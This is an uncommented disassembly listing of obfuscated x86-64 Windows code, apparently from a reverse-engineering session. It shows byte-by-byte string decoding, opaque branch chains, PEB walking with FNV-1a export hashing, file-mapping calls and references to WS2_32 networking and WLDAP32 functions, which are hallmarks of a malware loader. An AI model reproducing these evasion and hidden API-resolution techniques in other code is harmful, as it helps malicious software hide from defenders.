cmp rdi, rcx
jae 0x140100595
lea ecx, [r9 + 0xd]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5b
jmp 0x1401005b8
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140100ce3
cmp rdi, rcx
je 0x140100ccd
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140100cb4
lea rax, [r11 + rdi]
cmp rax, r9
jbe 0x140100a86
lea rax, [r11 + 0x10]
cmp rdi, rax
je 0x140100a6a
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x140100a4d
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x140100a30
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x140100a14
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x1401009f7
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401009de
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401009c5
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x1401009a8
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14010098f
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401005c5
lea rdi, [r11 + 0xa]
lea r11, [rdi + 0x61]
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x140100e5f
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x140100e44
lea rax, [r11 + 0x40]
cmp rdi, rax
jb 0x1401007a8
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x14010078f
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x140100776
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x140100947
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x140100906
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x1401008ca
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x1401008a9
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401005c5
lea rdi, [r11 + 8]
lea r11, [rdi + 0x10]
lea rax, [r11 + 0x7a]
cmp rdi, rax
ja 0x14010089b
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x140100882
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x140100865
lea rax, [r11 + 1]
cmp rdi, rax
ja 0x14010084c
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x140100833
lea rax, [r11 + 0x64]
cmp rdi, rax
ja 0x140100813
lea rax, [r11 + 5]
cmp rdi, rax
ja 0x1401007fa
lea rax, [r11 + 0x1000]
cmp rdi, rax
ja 0x1401007e1
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x1401007c1
lea rax, [r11 + 0xa]
cmp rdi, rax
ja 0x1401005c5
lea rdi, [r11 + 0x61]
lea r11, [rdi + 9]
jmp 0x1401005c5
lea ecx, [r9 - 0x6d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 5
jmp 0x1401005b8
lea ecx, [r9 + 0x61]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x59
jmp 0x14010056d
lea ecx, [r9 + 0x2f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x49
jmp 0x1401004fc
lea edx, [r9 + 0x68]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r10b, r9b
jmp 0x140100cfa
lea ecx, [r9 + 0x36]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x140100d18
lea ecx, [r9 + 4]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1c
jmp 0x140100d31
lea edx, [r9 - 0x2e]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r10b, r9b
jmp 0x140100d50
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x60
jmp 0x140100d87
lea ecx, [r9 + 0x6e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 2
jmp 0x140100d8a
lea edx, [r9 + 0x3c]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140100dbb
lea ecx, [r9 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
jmp 0x140100de4
lea edx, [r9 - 0x28]
mov ecx, ntohs
jmp 0x140100aba
lea ecx, [r9 + 0x5b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7d
mov byte [rbp + r9 + 0x4d0], bl
jmp 0x140100e3c
lea ecx, [r9 + 0x29]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1f
cmp r11, 0x80
jb 0x1401008bd
mov r10b, r9b
lea ecx, [r10 - 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 0x74]
jmp 0x140100cfa
lea ecx, [r9 - 9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x3f
cmp rdi, 2
jae 0x140100c7a
lea rax, [r11 + 5]
cmp rdi, rax
jbe 0x140100bf6
lea ecx, [r9 + 2]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xe
jmp 0x1401008de
lea ecx, [r9 - 0x3b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x63
lea rax, [r11 + rdi]
cmp rax, 0x40
je 0x140100c9f
lea rax, [r11 + 0x80]
cmp rdi, rax
jbe 0x140100b67
lea ecx, [r9 - 0xb]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x4d
jmp 0x14010091a
lea ecx, [r9 + 0x4e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x140100e2d
lea edx, [r9 + 0x1c]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140100de4
lea ecx, [r9 - 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x66
jmp 0x140100dbb
lea ecx, [r9 - 0x48]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140100d8a
lea edx, [r9 - 0x7a]
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140100d87
mov r10b, r9b
lea ecx, [r10 + 0x54]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
jmp 0x140100d50
lea edx, [r9 + 0x22]
mov ecx, 9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140100d31
lea edx, [r9 - 0x10]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140100d18
mov r10b, r9b
lea ecx, [r10 - 0x42]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x140100cfa
lea rax, [r11 + 0x42]
cmp rdi, rax
jae 0x140100aa8
lea ecx, [r9 + 0x19]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x51
jmp 0x14010095b
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140100ace
lea edx, [r9 + 0x1a]
mov ecx, Ordinal_41
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140100e2d
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140100af4
lea edx, [r9 - 0x50]
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140100d8a
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140100b18
mov r10b, r9b
lea edx, [r10 + 0x14]
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140100c95
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140100b3a
lea ecx, [r9 + 0x78]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x48
jmp 0x140100d18
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14010095b
mov r10b, r9b
lea edx, [r10 - 0x56]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140100cfa
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140100b8c
mov r10b, r9b
lea ecx, [r10 + 0x27]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x11
jmp 0x140100cfa
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140100bae
lea ecx, [r9 + 0x59]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6f
jmp 0x140100d18
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140100bd0
lea ecx, [r9 + 0x53]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x45
jmp 0x140100dbb
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14010091a
lea ecx, [r9 - 0x49]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x140100e2d
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140100c18
lea ecx, [r9 + 0x34]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x140100e2d
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x140100c3a
lea ecx, [r9 - 0x68]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x140100dbb
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140100c5f
mov r10b, r9b
lea ecx, [r10 + 0x2e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x140100d50
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401008de
lea edx, [r9 + 0x60]
mov ecx, Ordinal_50
jmp 0x140100a39
mov r10b, r9b
lea edx, [r10 + 0x28]
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x4d0]
sub bl, al
sub bl, 0x18
add bl, dl
add bl, r8b
jmp 0x140100d50
lea ecx, [r9 + 0x5a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [rcx - 0x76]
jmp 0x140100dbb
lea ecx, [r9 - 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x57
jmp 0x140100e2d
lea ecx, [r9 - 0x5d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x75
jmp 0x140100d31
mov r10b, r9b
lea ecx, [r10 + 0x3f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x47
add r10b, 0xf
mov al, r8b
and al, r10b
add al, al
sub r8b, al
sub r8b, 0x69
add r8b, r10b
mov byte [rbp + r9 + 0x4d0], r8b
add r11, r14
jmp 0x140100d31
lea ecx, [r9 + 0x77]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x41
sub r9, r14
jmp 0x140100e3c
mov r10b, r9b
lea ecx, [r10 + 0x45]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x1d
add r10b, 0x41
mov al, r8b
and al, r10b
add al, al
sub r8b, al
add r8b, 0x39
add r8b, bl
add r8b, r10b
mov byte [rbp + r9 + 0x4d0], r8b
jmp 0x140100d87
lea ecx, [r9 + 0x13]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x7b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140100e3c
movabs rcx, 0xc03d5e0ee066a0af
add rcx, r9
mov r8b, dl
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x37
lea edx, [r9 + 0x73]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x25
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x4d0], al
add r11, r14
add rax, r11
sub r9, rax
lea edx, [r9 - 0x74]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x4d0], cl
add rdi, r14
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140100e2d
movabs rcx, 0x93edf2af275204b
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0xd
movzx eax, byte [rbp + r9 + 0x4d0]
add rax, r11
add r9, rax
add r9, r14
jmp 0x1401004e9
sub r9b, 3
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
add bl, 0x15
jmp 0x1401004e0
sub r9b, 0x35
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
add bl, 0x73
jmp 0x1401004d0
lea rcx, [rbp + 0x150959c]
jmp 0x140100e93
lea rcx, [rbp + 0x14cf5b5]
jmp 0x140100e93
lea rcx, [rbp + 0x4d0]
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
call r12
mov r13, rax
mov qword [rbp - 0x78], rax
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r12, rax
mov qword [rbp - 0x80], rax
mov r10, qword [0x14017c730]
xor eax, eax
test r10, r10
jne 0x14010105a
mov esi, eax
mov r14d, 0x3d05404b
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140100f5d
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140100f4f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140100f3e
cmp r8d, esi
jne 0x14010102f
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r9d, eax
add r9, r11
shr rax, 0x20
cmp r9, r11
je 0x14010102f
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x14010102f
mov ebx, dword [r9 + 0x20]
dec r10d
lea rdx, [r11 + r10*4]
mov r8d, dword [rdx + rbx]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140100fb1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140100fa6
cmp edx, r14d
je 0x140100fc7
test r10d, r10d
jne 0x140100f91
jmp 0x14010102f
mov r8d, dword [r9 + 0x1c]
add r8, r11
mov edx, dword [r9 + 0x24]
add rdx, r11
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r11
cmp r10, r9
jbe 0x14010104d
lea rcx, [rax + r9]
cmp r10, rcx
jae 0x14010104d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140101022
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x140100ffe
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x140101015
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140101048
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140100f12
jmp 0x14010104a
xor eax, eax
mov r10, rax
mov qword [0x14017c730], r10
xor eax, eax
lea r14d, [rax + 1]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, r12
call r10
mov qword [rbp - 0x40], rax
mov rbx, qword [rbp - 0x28]
movsxd rcx, dword [rbx + 0x3c]
add rcx, rbx
mov qword [rsp + 0x60], rcx
xor r8d, r8d
movzx eax, r8w
mov word [rsp + 0x54], ax
cmp r8w, word [rcx + 6]
jae 0x140101ea9
mov r12b, byte [rsp + 0x50]
movzx eax, ax
lea r13, [rax + rax*4]
movzx eax, word [rcx + 0x14]
add rcx, rax
lea r13, [r13 + 3]
lea r13, [rcx + r13*8]
mov byte [rbp + 0x330], Ordinal_211
mov byte [rbp + 0x331], 5
mov byte [rbp + 0x332], reloc.WS2_32.dll_socket
mov byte [rbp + 0x333], Ordinal_60
mov byte [rbp + 0x334], r8b
mov byte [rbp + 0x335], 0xb5
xor eax, eax
mov qword [rbp + 0x336], rax
mov dword [rbp + 0x33e], eax
mov byte [rbp + 0x342], al
mov sil, 0x48
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x13
jae 0x140101b0f
movzx r9d, byte [rbp + r10 + 0x330]
mov r8, r9
cmp rbx, r10
ja 0x140101b06
lea rax, [r11 + 1]
cmp rbx, rax
jae 0x140101157
movabs rcx, 0xdb3f9298f52d0c18
add rcx, r10
mov rax, r9
and rax, rcx
imul r12, rax, 0xfffffffffffffffe
add r12, r9
add r12, rcx
add r12b, 0x58
jmp 0x140101184
je 0x140101a89
lea rax, [r11 + 2]
cmp rbx, rax
je 0x140101a06
lea rax, [r11 + 5]
cmp rbx, rax
je 0x1401019d7
lea rax, [r11 + 6]
cmp rbx, rax
je 0x140101994
cmp r11, r10
ja 0x140101afd
lea rax, [r11 + 0x5a]
cmp rbx, rax
jae 0x1401011b9
mov dl, r10b
mov r15d, 8
sub dl, r15b
mov al, dl
and al, r9b
lea ecx, [r15 + 0x14]
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x1401011f3
lea rax, [r11 + 1]
cmp rbx, rax
je 0x140101950
lea rax, [r11 + 2]
cmp rbx, rax
je 0x140101934
lea rax, [r11 + 5]
cmp rbx, rax
je 0x140101915
lea rax, [r11 + 9]
cmp rbx, rax
je 0x1401018f6
mov r15d, 8
lea rax, [r11 + rbx]
cmp rax, r10
jbe 0x14010165f
lea rax, [r11 + 0x28]
cmp rbx, rax
je 0x140101642
lea rax, [r11 + 2]
cmp rbx, rax
je 0x140101625
lea rax, [r11 + 9]
cmp rbx, rax
je 0x140101617
lea rax, [r11 + 0x41]
cmp rbx, rax
je 0x1401015fa
lea rax, [r11 + 0x40]
cmp rbx, rax
je 0x1401015e0
lea rax, [r11 + 0x400]
cmp rbx, rax
je 0x1401015c1
lea rax, [r11 + 0xa]
cmp rbx, rax
je 0x1401015a7
lea rax, [r11 + 0x5a]
cmp rbx, rax
je 0x14010158d
lea rax, [r11 + 0x42]
cmp rbx, rax
je 0x14010157f
lea rax, [r11 + 0x1000]
cmp rbx, rax
je 0x140101200
lea rbx, [r11 + 0x64]
lea r11, [rbx + 0x10]
lea rax, [r11 + 5]
cmp rbx, rax
jb 0x140101ade
lea rax, [r11 + 0x1000]
cmp rbx, rax
jb 0x140101ac3
lea rax, [r11 + 1]
cmp rbx, rax
jb 0x1401013ed
lea rax, [r11 + 0x80]
cmp rbx, rax
jb 0x1401013ce
lea rax, [r11 + 6]
cmp rbx, rax
jb 0x1401013b4
lea rax, [r11 + 0x28]
cmp rbx, rax
jb 0x140101571
lea rax, [r11 + 2]
cmp rbx, rax
jb 0x140101521
lea rax, [r11 + 0x200]
cmp rbx, rax
jb 0x1401014e5
lea rax, [r11 + 8]
cmp rbx, rax
jb 0x1401014c3
lea rax, [r11 + 0x40]
cmp rbx, rax
jb 0x140101200
lea rbx, [r11 + 9]
lea r11, [rbx + 3]
lea rax, [r11 + 0x41]
cmp rbx, rax
ja 0x1401014b5
lea rax, [r11 + 0x40]
cmp rbx, rax
ja 0x14010149b
lea rax, [r11 + 0x400]
cmp rbx, rax
ja 0x140101481
lea rax, [r11 + 0xa]
cmp rbx, rax
ja 0x140101473
lea rax, [r11 + 0x5a]
cmp rbx, rax
ja 0x140101460
lea rax, [r11 + 5]
cmp rbx, rax
ja 0x140101443
lea rax, [r11 + 0x1000]
cmp rbx, rax
ja 0x140101435
lea rax, [r11 + 0x10]
cmp rbx, rax
ja 0x140101429
lea rax, [r11 + 0x2a]
cmp rbx, rax
ja 0x14010140c
lea rax, [r11 + 6]
cmp rbx, rax
ja 0x140101200
lea rbx, [r11 + 1]
lea r11, [rbx + 0x61]
jmp 0x140101200
lea ecx, [r15 + r10]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x38
jmp 0x1401011f3
lea edx, [r10 - 0x28]
mov al, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x140101184
lea edx, [r10 - 0x58]
mov al, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x14010111f
lea ecx, [r10 - 0x40]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x40
mov r8b, r10b
jmp 0x140101968
lea edx, [r10 - 0x70]
mov ecx, r15d
jmp 0x140101732
lea edx, [r10 + 0x60]
mov ecx, Ordinal_50
jmp 0x14010193d
lea ecx, [r10 + 0x30]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x50
mov r8b, r10b
jmp 0x1401019b1
mov cl, r10b
and cl, r9b
add cl, cl
mov r12b, r10b
sub r12b, cl
jmp 0x1401017dd
lea edx, [r10 - 0x30]
mov ecx, Ordinal_41
jmp 0x1401015ca
lea ecx, [r10 - 0x60]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x60
jmp 0x140101a32
lea ecx, [r10 + 0x70]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x10
jmp 0x140101a5b
lea edx, [r10 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401018ff
lea ecx, [r10 - 0x38]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x78
mov byte [rbp + r10 + 0x330], r12b
jmp 0x140101abb
lea ecx, [r10 - 0x68]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x28
cmp r11, 0x20
jb 0x1401014d8
mov r8b, r10b
lea ecx, [r8 - 0x70]
mov al, cl
and al, r9b
mov edx, r15d
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea r12d, [rdx + rdx]
jmp 0x140101968
lea edx, [r10 + 0x68]
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
cmp rbx, 0x3e8
jae 0x1401018b2
lea rax, [r11 + 0x40]
cmp rbx, rax
jbe 0x140101800
lea edx, [r10 - 0x50]
mov al, dl
and al, r9b
mov ecx, Ordinal_27
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x1401014fa
lea edx, [r10 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140101671
lea edx, [r10 - 0x30]
mov ecx, Ordinal_41
jmp 0x1401018ff
lea ecx, [r10 - 0x60]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x60
jmp 0x140101a5b
lea ecx, [r10 + 0x70]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x10
jmp 0x140101a32
lea edx, [r10 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov al, dl
and al, r9b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x1401019f3
lea ecx, [r10 + 0x10]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x70
jmp 0x1401019f0
mov r8b, r10b
lea ecx, [r8 - 0x20]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x20
jmp 0x1401019b1
lea edx, [r10 - 0x50]
mov ecx, Ordinal_27
jmp 0x14010193d
lea ecx, [r10 + 0x80]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
add r12b, 0x80
jmp 0x140101989
mov r8b, r10b
lea ecx, [r8 + 0x50]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x30
jmp 0x140101968
lea rax, [r11 + 0x7a]
cmp rbx, rax
jae 0x1401016bb
lea edx, [r10 + 0x18]
mov ecx, Ordinal_45
mov al, dl
and al, r9b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
lea rax, [r11 + rbx]
cmp rax, 0x2a
je 0x1401018da
lea rax, [r11 + 0x1000]
cmp rbx, rax
jbe 0x140101772
mov cl, r10b
sub cl, sil
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, r15b
jmp 0x14010153b
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x1401016d2
lea edx, [r10 - 0x10]
mov ecx, Ordinal_60
jmp 0x1401018ff
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x1401016fa
lea edx, [r10 + 0x20]
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x140101a5b
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x140101720
lea ecx, [r10 + 0x80]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
add r12b, 0x80
jmp 0x1401019f3
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x140101748
lea edx, [r10 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov al, dl
and al, r9b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x140101989
lea rax, [r11 + 8]
cmp rbx, rax
jne 0x140101682
mov r8b, r10b
lea ecx, [r8 + 0x70]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x10
jmp 0x140101968
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x140101798
mov r8b, r10b
lea ecx, [r8 - 0x18]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x58
jmp 0x140101968
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x1401017bd
mov r8b, r10b
lea ecx, [r8 + 0x78]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, sil
jmp 0x1401019b1
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x1401017e5
lea edx, [r10 - 0x58]
mov al, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r9b
jmp 0x1401019f0
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x14010153b
lea edx, [r10 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401018ff
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x140101823
lea ecx, [r10 - 0x20]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x20
jmp 0x140101aac
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x140101846
lea ecx, [r10 + 0x70]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x10
jmp 0x1401019f3
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x140101869
lea ecx, [r10 - 0x60]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea r12d, [r9 + rcx]
sub r12b, 0x60
jmp 0x1401019f0
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x140101883
mov r8b, r10b
